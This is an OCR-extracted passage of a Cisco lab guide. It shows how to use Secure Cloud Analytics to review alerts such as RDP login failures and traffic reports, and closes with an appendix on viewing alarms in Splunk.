14. Click the **black triangle** next to the host and select **Device** as illustrated below. This will show more details about the host traffic. We can see the spike in traffic over the past 30 days.



15. Scroll through the rest of the page and other tables to see more traffic details about the host. We will cover more details on using the portal in the next lab.

| Vednesday, February 5, 2                | 2020                     |                                  |                 |  | Previous Day Next |
|---|--------------------------|----------------------------------|-----------------|--|-------------------|
| Summary Traffic                         | Profiling DNS            |                                  |                 |  |                   |
|   |                          |                                  |                 |  |                   |
| Attendance                              |                          | Traffic                          |                 | Alerting                                 |                   |
| Attendance<br>Normally Active           | 0:16:29 to 23:49:11      | Traffic<br>Bytes In              | 98 MB           | Alerting<br>Open Alerts                  |                   |
| ttendance<br>Normally Active<br>Account | 0:16:29 to 23:49:11<br>• | Traffic<br>Bytes In<br>Bytes Out | 98 MB<br>114 MB | Alerting<br>Open Alerts<br>Closed Alerts |                   |

## Task 3: Using the Secure Cloud Analytics User Interface

In this lab, we will look at some current alerts and how to use the UI to troubleshoot the network and endpoints.

Go back to the Monitor > Alerts page and search for alert 562 (https://cisco-dcloud.obsrvbl.com/ - /alerts/562) and open it. This
device is a Remote Desktop server used to administer the public cloud workloads. This alert looks for excessive login attempts, this
is typical of a host with a public IP address and an open remote access policy. This first step to remediate would be to change the
security group policy for this host.

| Stat  | us Open   |   |  |  |   |                         |
|---|---|---|--|--|---|-------------------------|
|   | <b>ID</b> 562   |   |  |  |   |                         |
| Descriptio  | on Device has many f<br>trigger this alert. T   | failed access attempts from an<br>The alert uses the Multiple Acco  | external device. For exam<br>ess Failures observation ar                                   | pple, a remote device trying repeatedly to acce<br>ad may indicate the device is compromised.  | ess an internal server using SSH or Telnet  | would                   |
| Next Ste  | <b>ps</b> Reference the sup<br>login keeps failing<br>firewall or security<br>the entity is potent  | porting observations and ensu<br>to login, such as if credentials<br>group rules to limit access for<br>tially malicious.   | re that the external entity i<br>changed, but the user or r<br>the remote control protoc   | is abnormal and unexpected. If it is normal and<br>machine was not given the updated credentials<br>sol. Update your block list and firewall rules to c                          | expected, determine why a user or mach<br>s. If the external entity is unknown, update<br>disallow this entity's access to your netwo   | nine<br>9 your<br>rk if |
| Update  | ed Dec 7, 2020 3:00:  | :00 PM  |  |  |   |                         |
| Create  | ed Mar 5, 2020 11:00  | 0:00 AM   |  |  |   |                         |
|   | IPs at the time of  | alert: 10.0.1.2   |  |  |   |                         |
|   | Hostname at the   | time of alert: bastion1   |  |  |   |                         |
| Assign  | ee 🛔 Nobody 🗸   |   |  |  |   |                         |
|   |   |   |  |  |   |                         |
| Tags  | GCP   |   |  |  |   |                         |
| Tags<br>Supporting Obs  | ervations   |   |  |  |   |                         |
| Tags<br>Supporting Obs<br>Jultiple Access F   | ervations<br>alures Observation   | n 🖸   |  |  |   |                         |
| Tags<br>Supporting Obs<br>Multiple Access F<br>Vevice had multiple  | GCP<br>ervations<br>failures Observation<br>failed application (e.g   | n 🖸<br>J., FTP, SSH, RDP) access att  | tempts.  |  |   |                         |
| Tags<br>Supporting Obs<br>Multiple Access F<br>Jevice had multiple<br>20 records  | ervations<br>ailures Observation<br>failed application (e.g   | ם ס<br>β., FTP, SSH, RDP) access att  | tempts.  |  | search  | Q                       |
| Tags<br>Supporting Obs<br>Vultiple Access F<br>Device had multiple<br>20 records<br>Time -  | GCP cervations callures Observation failed application (e.g s per page Device \$  | n <b>O</b><br>a., FTP, SSH, RDP) access att<br><b>Port ≑</b>  | tempts.<br>Profile ≎   | Connected Device \$  | search<br>Failed Attempts ≎   | ٩                       |
| Tags<br>Supporting Obs<br>Vultiple Access F<br>Device had multiple<br>20 records<br>Time -<br>12/7/20 3:00 PM   | GCP ervations iailures Observation failed application (e.g per page Device \$      bastion1 •   | a., FTP, SSH, RDP) access att<br>Port ≑<br>3389 (terminal)  | tempts. Profile \$ RDPServer   | Connected Device ≎<br>185.193.88.77 ▼  | search<br>Failed Attempts ¢<br>131  | Q                       |
| Tags<br>Supporting Obs<br>Vultiple Access F<br>Device had multiple<br>20 records<br>Time -<br>12/7/20 3:00 PM<br>12/7/20 3:00 PM  | Constraints Const | Port \$ 3389 (terminal)   | tempts.  Profile  Profile  RDPServer RDPServer   | Connected Device ≎<br>■ 185.193.88.77 ~<br>■ 185.156.74.28 ~   | search<br>Failed Attempts ≎<br>131<br>126   | Q<br>                   |
| Tags           Supporting Obs           Vultiple Access F           Device had multiple           20         records           Time -           12/7/20 3:00 PM           12/7/20 3:00 PM           12/7/20 3:00 PM   | Control Contr | Port \$<br>3389 (terminal)<br>3389 (terminal)<br>3389 (terminal)  | tempts.  Profile \$ RDPServer RDPServer RDPServer  | Connected Device \$         ■ 185.193.88.77 •         ■ 185.156.74.28 •         ■ 45.146.165.95 •  | search           Failed Attempts ≎           131           126           121  | Q<br>×<br>×             |
| Tags           Supporting Obs           Vultiple Access F           Device had multiple           20         records           Time -           12/7/20 3:00 PM           12/7/20 3:00 PM           12/7/20 3:00 PM           12/7/20 3:00 PM   | Constraints Const | Port \$           3389 (terminal)           3389 (terminal)           3389 (terminal)           3389 (terminal)           3389 (terminal)   | Profile \$       RDPServer       RDPServer       RDPServer       RDPServer       RDPServer | Connected Device \$         ■ 185.193.88.77 •         ■ 185.156.74.28 •         ■ 45.146.165.95 •         ■ 45.146.165.245 •   | search           Failed Attempts ≎           131           126           121           118  | Q<br>×<br>×<br>×        |
| Tags           Supporting Obs           Vultiple Access F           Device had multiple           20         records           Time -           12/7/20 3:00 PM           12/7/20 3:00 PM | GCP         | Port \$           3389 (terminal)           3389 (terminal) | tempts.<br>Profile \$<br>RDPServer<br>RDPServer<br>RDPServer<br>RDPServer<br>RDPServer     | Connected Device \$         ■ 185.193.88.77 •         ■ 185.156.74.28 •         ■ 185.156.74.28 •         ■ 45.146.165.95 •         ■ 45.146.165.245 •         ■ 185.193.88.87 • | search           Failed Attempts \$           I           1 | Q<br>X<br>X<br>X        |



 $\oplus$ 

2. To see more about the traffic for one of the external IPs, select the down arrow next to the IP address and then Find IP on Multiple Days. In the example screenshot below we can see the external IP has increased the amount of attack traffic.

| evice had multiple | e failed application (e.g | g., FTP, SSH, RDP) access at | tempts.    |                               |                   |   |
|--------------------|---------------------------|------------------------------|------------|-------------------------------|-------------------|---|
| 0 record           | ds per page               |                              |            |                               | search            | ٩ |
| Time 🗸             | Device 🗢                  | Port \$                      | Profile \$ | Connected Device \$           | Failed Attempts 🗢 |   |
| 2/7/20 3:00 PM     | 0 bastion1 -              | 3389 (terminal)              | RDPServer  | = 185.193.88.7                | 131               | × |
| 2/7/20 3:00 PM     | 0 bastion1 -              | 3389 (terminal)              | RDPServer  | IP Traffic     Session Tuffic | 126               | × |
| 2/7/20 3:00 PM     | 0 bastion1 -              | 3389 (terminal)              | RDPServer  | AbuseIPD                      | 121               | × |
| 2/7/20 3:00 PM     | 0 bastion1 -              | 3389 (terminal)              | RDPServer  | Google Search                 | 118               | × |
| 2/7/20 3:00 PM     | 0 bastion1 -              | 3389 (terminal)              | RDPServer  | Add IP to tchlist             | 123               | × |
| 2/7/20 3:00 PM     | 0 bastion1 -              | 3389 (terminal)              | RDPServer  | Find IP on multiple days      | 126               | × |
| 2/7/20 3:00 PM     | 0 bastion1 -              | 3389 (terminal)              | RDPServer  | Copy 185.193.88.77            | 86                | × |
| 2/7/20 3:00 PM     | 0 bastion1 -              | 3389 (terminal)              | RDPServer  | More with SecureY             | 120               | × |
| 2/7/20 3:00 PM     | bastion1 -                | 3389 (terminal)              | RDPServer  | - More with SecureA           | 123               | × |

Q filters from 2020-11-07 to 2020-12-07; IP: 185.193.88.77

| Day 🗸      | IP \$                  | Bytes Total 🗢 | Bytes To ≑ | Bytes From <b>≑</b> | Connections \$ |
|------------|------------------------|---------------|------------|---------------------|----------------|
| 2020-12-07 | <b>185.193.88.77</b> - | 9,508,264     | 4,824,946  | 4,683,318           | 4              |
| 2020-12-06 | <b>185.193.88.77</b> - | 10,486,373    | 5,524,948  | 4,961,425           | 4              |
| 2020-12-05 | <b>185.193.88.77</b> - | 6,585,110     | 3,375,543  | 3,209,567           | 4              |
| 2020-12-04 | <b>185.193.88.77</b> - | 10,117,754    | 5,143,034  | 4,974,720           | 5              |
| 2020-12-03 | <b>185.193.88.77</b> - | 3,137,728     | 1,638,946  | 1,498,782           | 3              |
| 2020-12-02 | <b>185.193.88.77</b> - | 490,739       | 262,795    | 227,944             | 1              |

3. Go back to the alert and select a time stamp, as illustrated below (you can pick any time) to see the raw flow data collected that produced the alert. In this example, we see multiple small byte/packet counts that indicate the likelihood of what appears to be a dictionary login attack.

| Supporting  | Observation  | S  |                                    |                         |             |                |         |          |              |
|---|--|--|------------------------------------|-------------------------|-------------|----------------|---------|----------|--------------|
| Multiple Acce   | ss Failures O                                      | bservation ᢒ   |                                    |                         |             |                |         |          |              |
| Device had mul  | tiple failed app                                   | lication (e.g., FTP.   | SSH. RDP) acc                      | ess attempts.           |             |                |         |          |              |
|   |  |  | ,,                                 |                         |             |                |         |          |              |
| 20 records per page   |  |  |                                    |                         |             |                |         |          |              |
| Time 🗸  | Device 🖨   |  | Port \$                            | F                       | Profile \$  | Conn           | ected D | evice 🕯  | ;            |
| 12/7/20 3:00 PM         ● bastion 1 ▼         3389 (terminal)         RDPServer         ■ 185.193.88.77 ▼ |  |  |                                    |                         |             |                |         |          |              |
|   | 1  |  |                                    |                         |             |                |         |          |              |
| Session Traffic   |  |  |                                    |                         |             |                |         |          |              |
| Q active filters start  | time: 2020-12-07T15:00.                            | :00Z; end time: 2020-12-07T2                                     | 23:59:00Z; ip: 765; port: 3:       | 389; connected_ip: 185. | 193.88.77;  |                |         |          |              |
|   |  |  |                                    |                         |             |                |         |          |              |
| Traffic Traffic C   | hart Rejects                                       | Connections Graph  |                                    |                         |             |                |         |          |              |
| Table of matching sess  | sions.   |  |                                    |                         |             |                |         |          |              |
| 20 records p  | er page  |  |                                    |                         |             |                |         |          |              |
|   |  |  |                                    |                         |             | Byte           | es      | Pac      | kets         |
| Time \$   | IP \$  | Connected IP \$  | Port \$                            | Connected Port          | Protocol \$ | To \$          | From \$ | To \$    | From \$      |
| 12/7/20 7:17 PM   | ● 10.0.1.2 -                                       | ■ 185.193.88.77 -  | 3389 (terminal)                    | 33558                   | TCP         | 1,036          | 2,558   | 22       |              |
| 12/7/20 7:14 PM   |  |  |                                    |                         |             |                |         |          | 12           |
|   | ● 10.0.1.2 -                                       | ■ 185.193.88.77 -  | 3389 (terminal)                    | 44802                   | TCP         | 2,596          | 0       | 18       | 12           |
| 12/7/20 7:14 PM   | <ul> <li>10.0.1.2 ▼</li> <li>10.0.1.2 ▼</li> </ul> | <ul> <li>■ 185.193.88.77 ▼</li> <li>■ 185.193.88.77 ▼</li> </ul> | 3389 (terminal)<br>3389 (terminal) | 44802<br>52904          | тср         | 2,596<br>1,116 | 0       | 18<br>20 | 12<br>0<br>0 |

- 4. Navigate to Monitor > Observations to see more Observations for the portal.
- 5. Select types to see the list of all potential Observations.

| Stealthwatch Cloud   | Monitor V Investigate V Report V Settings V Q C A  | 6       | 0 |
|--|--|---------|---|
| Read-Only Mode read-only   | Dashboard<br>/ accour<br>Alerts  Alerts Cobservations  |         |   |
| Observations   | ypes IF By Device  |         |   |
| Additional Observation (0) C<br>Additional information about thi                             | e source.  |         |   |
| Amazon GuardDuty DNS Re<br>Amazon GuardDuty reported a                                       | equest Finding Observation (0) O<br>suspicious DNS request.  |         |   |
| Amazon GuardDuty Networ<br>Amazon GuardDuty reported a                                       | k Connection Finding Observation (0) 📀<br>suspicious network connection.   |         |   |
| Amazon Inspector Finding C<br>A finding was reported for an A                                | Observation (0) O  |         |   |
| Anomalous Profile Observat<br>Device(s) used a profile for the<br>sending anomalous traffic) | tion (0) O<br>first time which differs from typical behaviors seen in the network (e.g., an abnormally high number of devices using the profile for the firs | t time, |   |
| AWS API Watchlist Access<br>AWS API was accessed from a                                      | Observation (0) C  |         |   |

6. Select **By Devices** to show which devices have the most Observations as illustrated below.

| Observations                |           |                         |  |  |  |  |  |  |
|-----------------------------|-----------|-------------------------|--|--|--|--|--|--|
| ♥ Recent Highlights I Types |           |                         |  |  |  |  |  |  |
| 10 records per page         |           |                         |  |  |  |  |  |  |
| Device                      | Count 🗸   | Last Observation Time 🗢 |  |  |  |  |  |  |
| O Network ▼                 | 4,146,972 | 12/6/20 9:04 PM         |  |  |  |  |  |  |
| ● virtualmachines/jumphost  | 150,210   | 12/6/20 7:03 PM         |  |  |  |  |  |  |
| ● i-0f5c16650ace2e7ac ▼     | 67,646    | 12/6/20 7:46 PM         |  |  |  |  |  |  |
| ● virtualmachines/jumpbox - | 65,699    | 12/6/20 7:53 PM         |  |  |  |  |  |  |
| ● bastion1 -                | 63,397    | 12/6/20 7:08 PM         |  |  |  |  |  |  |



7. Navigate to Reports > Traffic Summary to show traffic summarization data. From here, you can query specific time periods to determine top IPs, ports, etc. The view below shows the traffic spike from the exfiltration to Dropbox.

| O       Read-Only Mode read-only accounts can wave any part of the site. In Metering Report Information and the set of the se | Ste   | ealthwatch Cloud                      | Monitor 🗸            | Investigate 🗸 Report                                  | ✓ Settings ✓                                     |                                 | Q 🚯 🌲 🙆                       |
|--|---|---------------------------------------|----------------------|---|--|---------------------------------|-------------------------------|
| Traffic       Subtraff result            • fitters: how 2020-12-06 18:00 to 2020-12-07 18:00           • fitters: how 2020-12-07 18:00          Overview       Aggregate data from Dec 6, 2020 7:00:00 PM to Dec 7, 2020 7:00:00 PM.           Testing Joseph Parties: Subtraff results          Total Bytes:       Bytes To       Bytes From       Bidirectional Connections       Internal Devices         External Devices:          • 00           • 00           • 00           • 20         • 20         • 20         • 00          Total Bytes:          • Bytes To           • Bytes To           • Bytes To           • External Devices          Total Bytes:          • Bytes To           • Bytes To           • Bytes To           • External Devices          Total Bytes:          • Bytes To           • External Devices           • External Devices          Total Bytes:          • Diversite Status           • External Devices           • External Devices          Total Bytes:          • Total Bytes: To           • Bytes To           • Bytes To          Total Bytes:          • Total Bytes: To           • Bytes To           • Bytes To   | () Rea  | ad-Only Mode read-only acco           | ounts can view any p | AWS Vis<br>art of the site, bu<br>Metering<br>Monthly | ualizations<br>, Report r change<br>Flows Report | 95.                             |                               |
| Of         Priority Assessment           Overview         Aggregate data from Dec 6, 2020 7:20:00 PM to Dec 7, 2020 7:90:00 PM.           Traffic         Sources           Total Bytes         Bytes To           Bytes To         Bytes From           Biddrectional Connections         Internal Devices           9:08         4:08           9:08         4:08           9:09         4:08           9:09         4:08           9:09         4:08           9:09         4:08           9:09         4:08           9:09         4:08           9:09         4:08           9:09         4:08           9:09         4:08           9:09         4:08           9:09         4:08           9:09         4:08           9:09         4:09           9:09         4:09           9:09         4:09           9:09         4:09           9:09         4:09           9:09         4:09           9:09         4:09           9:09         5:09           9:09         5:09           9:09         5:09  | Traffic   | c                                     |                      | Traffic S   | ummary   |                                 |                               |
| Overview           Agregate data from Dec 6, 2020 7:00:00 PM to Dec 7, 2020 7:00:00 PM.           Traffic         Sources           1         1           1         0:03         4:08         3.858         29         2.077           1         0:04         4:08         3.858         29         2.077  | <b>Q</b> filte                                    | ers from 2020-12-06 19:00 to 202      | 20-12-07 19:00       | Visibility  | Assessment                                       |                                 |                               |
| Total Bytes         Bytes To         Bytes From         Bidirectional Connections         Internal Devices         External Devices           9 GB         4 GB         4 GB         3,859         29         2,077           70 M0         0<   | Overvie<br>Aggrega<br>Traffic                     | ate data from <b>Dec 6, 2020 7:00</b> | 0:00 PM to Dec 7, 20 | 020 7:00:00 PM.                                       |  |                                 |                               |
| 9 UB       4 UB       4 UB       3,855       2 3'       2,077         1000000000000000000000000000000000000  | Total B   | ytes Bytes To                         | Bytes From           | Bidirectional Con                                     | rections   | Internal Devices                | External Devices              |
| Top IPs         The most active IPs on the network.         Internal       External         I0       records per page         IP +       Total Bytes +       Bytes To +       Bytes To +         I 10.0.0.5 -       2,210,224,291       1,186,320,860       1,023,903         I 10.0.1.4 -       1,763,694,661       814,839,579       948,855         I 10.0.0.5 -       593,093,721       284,976,536       308,117  | 30 MB -<br>20 MB -<br>10 MB -<br>0 B -<br>12/6/20 | 7:00 PM 12/6/20 9:30 PM               | 12/7/20 12:00 AM 12  | 77/20 2:30 AM 12/7/20 5:00 AM                         | 1 12/7/20 7:30 AM<br>To <b>Bytes</b> From        | 127720 10:00 AM 127720 12:30 PM | 127720 3.00 PM 127720 5.30 PM |
| I0         records per page           IP ÷         Total Bytes ‡         Bytes To ‡         Bytes To ‡           0 10.0.0.5 •         2,210,224,291         1,186,320,860         1,023,903           0 10.0.1.4 •         1,763,694,661         814,839,579         948,855           0 10.0.0.52 •         593,093,721         284,976,536         308,117   | Top IPs<br>The mos                                | st active IPs on the network.         |                      |   |  |                                 |                               |
| IP +         Total Bytes +         Bytes To +         Bytes Fi           0 10.0.0.5 -         2.210.224.291         1,186.320.860         1,023.902           0 10.0.1.4 -         1,763.694.661         814.839.579         948.852           0 10.0.0.52 -         593.093.721         284.976.536         308.112   | 10  | records per page                      |                      |   |  |                                 |                               |
| • 10.0.0.5 -       2,210,224,291       1,186,320,860       1,023,902         • 10.0.1.4 -       1,763,694,661       814,839,579       948,852         • 10.0.0.52 -       593,093,721       284,976,536       308,112  | IP \$   |                                       |                      | т   | otal Bytes \$                                    | Bytes To <b>≑</b>               | Bytes From                    |
| • 10.0.1.4 -       1,763,694,661       814,839,579       948,859         • 10.0.0.52 -       593,093,721       284,976,536       308,112   | ● 10.0.0.5 ▼                                      |                                       |                      | 2,2   | 10,224,291                                       | 1,186,320,860                   | 1,023,903,4                   |
| • 10.0.52 • 593,093,721 284,976,536 308,112  | 0 10.0.1.4 ▼                                      |                                       |                      |   |  |                                 |                               |
|  |   | 0.1.4 -                               |                      | 1,5   | '63,694,661                                      | 814,839,579                     | 948,855,0                     |

## Lab Guide



 Navigate to Investigate > Session Traffic to show how to build queries of all the stored flow data. You can filter by IPs, Ports, Protocol, Byte Counts, Packet, Counts and time period. You can also use put a hyphen (-) in front of a field to remove it from the query. In the example below, we are running a query for all traffic, except 443.

| alial<br>cisco | Stealthwatch Cloud  | Monitor 🗸                | Investigate 🗸 Re  | port 🗸 Settings 🗸           | Q | ¢ |  | 8 | 0 | <b>.</b> |
|----------------|---|--------------------------|---|-----------------------------|---|---|--|---|---|----------|
|                | Read-Only Mode read-only  | ly accounts can view any | Session Traffic   | ot make updates or changes. |   |   |  |   |   |          |
|                | Session Traffic Q active filters  |                          | Device<br>By IP Address<br>Encrypted Traffic<br>User Activity<br>Active Roles |                             |   |   |  |   |   |          |
|                | Filter by a list of IPs or CIDR ranges. Use "-" to exclude an IP (e.g. "10.0.0.1, 10.0.1.0/24, -10.0.1.7").  IP. IP. host |                          |   |                             |   |   |  |   |   |          |
|                | Connected IP IP, host,  |                          |   |                             |   |   |  |   |   |          |

Secure Cloud Analytics is charged by the volume of flows that are analyzed. In every portal, you can see the volume of flows by navigating to **Report > Monthly Flows Report**. We call each million flows an EMF (estimated mega flow), the monthly quantity is what is used.





#### Free Trial

Free Trials of the software are available by registering for a portal here - https://www.cisco.com/c/en/us/products/security/stealthwatch/stealthwatch-cloud-free-offer.html

**Note:** A typical free trial period is 60 days. These lab exercises are using the AWS public cloud, but Secure Cloud Analytics also supports Microsoft Azure, Google Cloud Platform, and Premises Networks.

|   | aws  | 🙆 Goo   | gle Clo   | u                      | d Microsoft   |  |  |  |  |
|--|--|---|---|------------------------|---|--|--|--|--|
|         Automatic locus of derive seasy-to-deploy passive network sector.         | Are you deployed in AWS?<br>Stealthwatch Cloud detects threats to your<br>Amazon Web Services workloads. Visit the<br>AWS Marketplace and get a free trial.<br>Start AWS trial > | Are you deploye<br>Cloud?<br>Detects threats to your<br>with Stealthwatch Clouc<br>Marketplace to get a fre<br>Start Google trial > | ed in Googi<br>Google Cloud w<br>d. Visit the Googi<br>ee trial.                                    | le<br>orkl             | Are you deployed in Azure<br>Cloud?<br>Joads Use your NSG2 logs and Stealthwatch Cloud to<br>detect threats to your Azure workloads.<br>Start Azure trial > |  |  |  |  |
| Stealthwatch Cloud of offers seasy-to-deploy passive network security monitoring. With it you can:       Interface seasy-to-deploy passive network security monitoring. With it you can:       Interface seasy-to-deploy passive network security incident or so compromise in real time         Automate thread detection and alering       Interface security incident response times       Interface security incident response times         Understand network, entity behavior       Joah TN       Statisme"         Deploy in minutes, not hours or days, in on-premises or Amazon Web Services (AWS) environments       Statisme (Interface)         Use it in your public cloud, private network, or both.       City       Company Team"         Customers consistently rate 96 percent of our alerts as helpful.       Postal Cede       Finst Regure         Learn more about Clisco Stealthwatch Cloud.       Postal Cede       Finst Regure         Voir type of the set search or and alerting       Stealter, with the set search or alerts as helpful.       Postal Cede         Deploy our       Stealter, with the set search or alerts as helpful.       Postal Cede       Finst Regure         Use the nore about Clisco Stealthwatch Cloud.       Postal Cede       Finst Regure       Wat is your alerts and the set search or alerts as helpful.         Learn more about Clisco Stealthwatch Cloud.       Postal Cede       Finst Regure       Total Regure         Voir type of the searclist or type of the searclist or type or type of the s  | Or simply complet  | e the form be   | elow for  | ar                     | ny type of environment  |  |  |  |  |
| Indentify indicators of compromise in real time Automate thread detection and alerting Reduce security incident response times Understand network entity behavior Deploy in minutes, not hours or days, in on-premises or Amazon Web Services (AWS) environments Use it in your public cloud, private network, or both. Customers consistently rate 96 percent of our alerts as helpful. Learn more about Cisco Stealthwatch Cloud. Postal Cede Pistal Cede Reduce security incident response times Company Name Company Name Company Name Company Name Company Name Company Name Services (AWS) environments Use it in your public cloud, private network, or both. Customers consistently rate 96 percent of our alerts as helpful. Dealor of the private network Cloud. Postal Cede Pistal C  | Stealthwatch Cloud offers easy-to-deploy pas<br>monitoring. With it you cap:   | sive network security   | First Name  | •                      | (First Name*  |  |  |  |  |
| <ul> <li>Address inductional of detection and allering</li> <li>Reduce security incident response times</li> <li>Understand network entity behavior</li> <li>Deploy in minutes, not hours or days, in on-premises or Amazon Web<br/>Services (AWS) environments</li> <li>Use it in your public cloud, private network, or both.</li> <li>Customers consistently rate 96 percent of our alerts as helpful.</li> <li>Learn more about Cisco Stealthwatch Cloud.</li> <li>Postal Cede</li> <li>Pisner Komber</li> <li>Services (Stealthwatch Cloud.</li> <li>Pisner Komber</li> <li>Steines (Steam)</li> <li>Reduce security in cloud private network, or both.</li> <li>Customers consistently rate 96 percent of our alerts as helpful.</li> <li>Deploy on "Steams"</li> <li>Postal Cede</li> <li>Pisner Komber</li> <li>Voir type of "Steams"</li> <li>Steines (Steams")</li> <li>Voir type of "Steams"</li> <li>Relationing with Cisco V</li> <li>Relationing</li></ul>   | <ul> <li>Identify indicators of commonise in real time</li> </ul>  |   | Last Name   |                        | Last Name*  |  |  |  |  |
| <ul> <li>Automate thread offeed offeed and and are ling.</li> <li>Reduce security incident response times</li> <li>Understand network entity behavior</li> <li>Deploy in minutes, not hours or days, in on-premises or Amazon Web Services (AWS) environments</li> <li>Use it in your public cloud, private network, or both.</li> <li>Customers consistently rate 96 percent of our alerts as helpful.</li> <li>Learn more about Claco Stealthwatch Cloud.</li> <li>Potat Cede</li> <li>Pinon Number</li> <li>Service of the second and are the second and any be canceled at any spore time.</li> </ul>  | Automate threat detection and election   |   | Email address must be from your corporate domain.<br>Email and physical address must be veriflable. |                        |   |  |  |  |  |
| Neduce security incident response times     Company Name     Company     Company Name   | Automate threat detection and alerting   |   | Business Email  | •                      | Business Email*   |  |  |  |  |
| Understand network entity behavior     Job Tite     Jub Tite   | Reduce security incident response times  |   | Company Name  | •                      | Company Name*   |  |  |  |  |
| Deploy our public cloud, private network, or both. Customers consistently rate 96 percent of our alerts as helpful. Learn more about Clisco Stealthwatch Cloud.  Postal Cede Postal C  | <ul> <li>Understand network entity behavior</li> </ul>   |   | Job Title   | •                      | Job Title   |  |  |  |  |
| Address     Address       Use it in your public cloud, private network, or both.     City       Customers consistently rate 96 percent of our alerts as helpful.     Sate       Learn more about Cisco Stealthwatch Cloud.     Postal Cede       Phone Number     (Phone*)       Voir type of     (Selec   | <ul> <li>Deploy in minutes, not hours or days, in on-p<br/>Services (AWS) environments</li> </ul>  | premises or Amazon Web  | Country   | •                      | Select Country 👻  |  |  |  |  |
| Use it in your public cloud, private network, or both.<br>Customers consistently rate 96 percent of our alerts as helpful.<br>Learn more about Claco Stealthwatch Cloud.<br>Learn more about Claco Stealthwatch Cloud.<br>Phore Number Prote Number Prote Code*<br>Phore Number Phore Number Pho   |  |   | Address   | •                      | Address*  |  |  |  |  |
| Customers consistently rate 96 percent of our alerts as helpful. Learn more about Cisco Stealthwatch Cloud. Postal Cede Pore Number Pore Number Pore Number Pore Version Pore  | Use it in your public cloud, private network, or   | both.   | City  | •                      | City*   |  |  |  |  |
| Learn more about Cisco Stealthwatch Cloud. Postal Cede * [Pastal Cede * ] * [Pastal Ce   | Customers consistently rate 96 percent of our  | alerts as helpful.  | State   | •                      | State/Region*   |  |  |  |  |
| Point Number     *       Your year     *       Bastory our     *       Bastory our     *       What is year     *       What is year     *       What is year     *       Relationaring with     *       Caseo     *       Huar read and accept Statement, Free that are subject to approval by Class of may be canceled at any time.  | Learn more about Cisco Stealthwatch Cloud.   |   | Postal Code   | *                      | Postal Code*  |  |  |  |  |
| Your type of<br>network     *     Select.     •       Deploy our<br>service in<br>service in<br>the service in<br>the se |  |   | Phone Number  |                        | Phone*  |  |  |  |  |
| Deploy our * Series. •<br>What is your * Relationship with Claco •<br>relationship with Claco •<br>Thave read and scoop the Terms of Series<br>and Phasey Schammer, Free Intern of Series<br>approval by Claco and may be canceled at any<br>time.   |  |   | Your type of<br>network?  |                        | Select •  |  |  |  |  |
| What is your "Relationship with Cluco   Relationship with Cluco   Relationship with Cluco   Relationship with Cluco    Relationship with Cluco     Relationship with Cluco       Relationship with Cluco   |  |   | Deploy our<br>service in?   | *                      | Select 👻  |  |  |  |  |
| I have read and accept firms of Service *  |  |   | What is your<br>relationship with<br>Cisco?   | *                      | Relationship with Cisco 💌   |  |  |  |  |
|  |  |   | I have read and ac<br>and Privacy Staten<br>approval by Cisco<br>time.                              | boep<br>nent.<br>b and | pt the Terms of Service *  Free trials are subject to id may be canceled at any   |  |  |  |  |

## **Summary**

You have learned how to monitor and protect cloud hosted infrastructure using Secure Cloud Analytics.

## Appendix A. Integrate Splunk using the Secure Network Analytics App

Many enterprises want to use the Splunk console to aggregate actionable intelligence and integrate Cisco Secure Network Analytics® behavioral analytics into a common view.

This use case describes how to configure a recommended syslog format for Splunk along with how to configure sending alarms out of the Secure Network Analytics Management Console (SMC). There are three main steps:

- Configure response management rules (Send syslog messages from the SMC)
- Configure response management actions
- Configure syslog message format

#### View alarms in Splunk

1. Open Chrome, select **Splunk** from the Favorites menu, and then choose **Top Alarming Hosts**.



2. Splunk Enterprise will open. From the top of the menu, select **Cisco Secure Network Analytics App**.

| splunk> App: Cisco Stealthwatch App ~ |                          |          |                |        |              |  |  |  |
|---------------------------------------|--------------------------|----------|----------------|--------|--------------|--|--|--|
| Alarm                                 | Search & Reporting       | >        |                |        |              |  |  |  |
| Alex                                  | ✓ Cisco Stealthwatch App | <b>=</b> |                |        |              |  |  |  |
| Alai                                  | Manage Apps              |          |                |        |              |  |  |  |
| IP Add                                | Find More Apps           |          |                |        |              |  |  |  |
|                                       |                          | All      | <del>ب</del> 😣 | Submit | Hide Filters |  |  |  |
|                                       |                          |          |                |        |              |  |  |  |

3. Observe that the data will populate after a minute and you can see the Daily Alarm Summary, Weekly Alarm Summary and Alarms.

| Alarms                  |   |          |               |                                   |                   | Edit Export 🗸  |
|-------------------------|---|----------|---------------|-----------------------------------|-------------------|--|
| IP Address:             | Alarm Type:                                       |          |               |                                   |                   |  |
|                         | Al 🕹 🗸  | Submit   | Hide Filters  |                                   |                   |  |
|                         |   |          |               |                                   |                   |  |
|                         |   |          |               |                                   |                   |  |
| Daily Alarm Summa       | ry:   |          |               |                                   |                   | Weekly Alarm Summary.  |
|                         |   |          | .CSE C        | ustom Reputation List             |                   | 400  |
|                         | other (19)  |          | .CSE P        | ossible Remote Access Breach      |                   | .CSE: Curitotation Liat  |
|                         |   |          | .CSE L        | Inauthorized Connection to Proteo | ted Assets        | Star Howards   |
|                         |   |          | Data H        | oarding                           |                   | 200 High Concern Index   |
|                         | Suspect Data Loss                                 |          | High C        | oncern Index                      |                   |  |
|                         |   |          |               |                                   |                   | Excon<br>Slow Correction Plant   |
|                         | Suspect Data Hoarding                             |          | High T        | iotal Traffic                     |                   | and the second s |
|                         | Slow Connection Flood                             |          | Recon         |                                   |                   | Date   |
| Alarms:                 |   |          |               |                                   |                   |  |
|                         |   |          |               |                                   |                   |  |
| First Active ©          | Alarm 0   | Status 0 | Source IP ©   | Source Hostname ©                 | Source Username 0 | Source Host Group(s) C Target IP C Target Hostname C Target Username C Target Host Group(s) C  |
| 2019-03-13 10:03:00 EDT | .CSE: Unauthorized Connection to Protected Assets | Active   | 198.19.20.36  |                                   | Administrator     | Inside Hosts/By Function/Client IP Ranges (DHCP Range)/End User Devices 198.19.20.134 Inside Hosts/Protected Asset Mc  |
| 2019-03-13 10:00:00 EDT | High File Sharing Index                           | Active   | 10.201.3.149  | workstation-149                   | ken               | IndeH Host VBy Location/Allanta<br>IndeH Host VBy Function/Client IP Angee (IHCP Range) End User Devices<br>IndeH Host VBusiness Lints/Sales and Marketing   |
| 2019-03-13 09:50:00 EDT | Data Hoarding                                     | Active   | 198.19.20.36  |                                   | Administrator     | Inside Hosts/By Function/Client IP Ranges (DHCP Range)/End User Devices  |
| 2019-03-13 09:50:00 EDT | Suspect Data Hoarding                             | Active   | 198.19.20.36  |                                   | Administrator     | Inside Hosts/By Function/Client IP Ranges (DHCP Range)/End User Devices  |
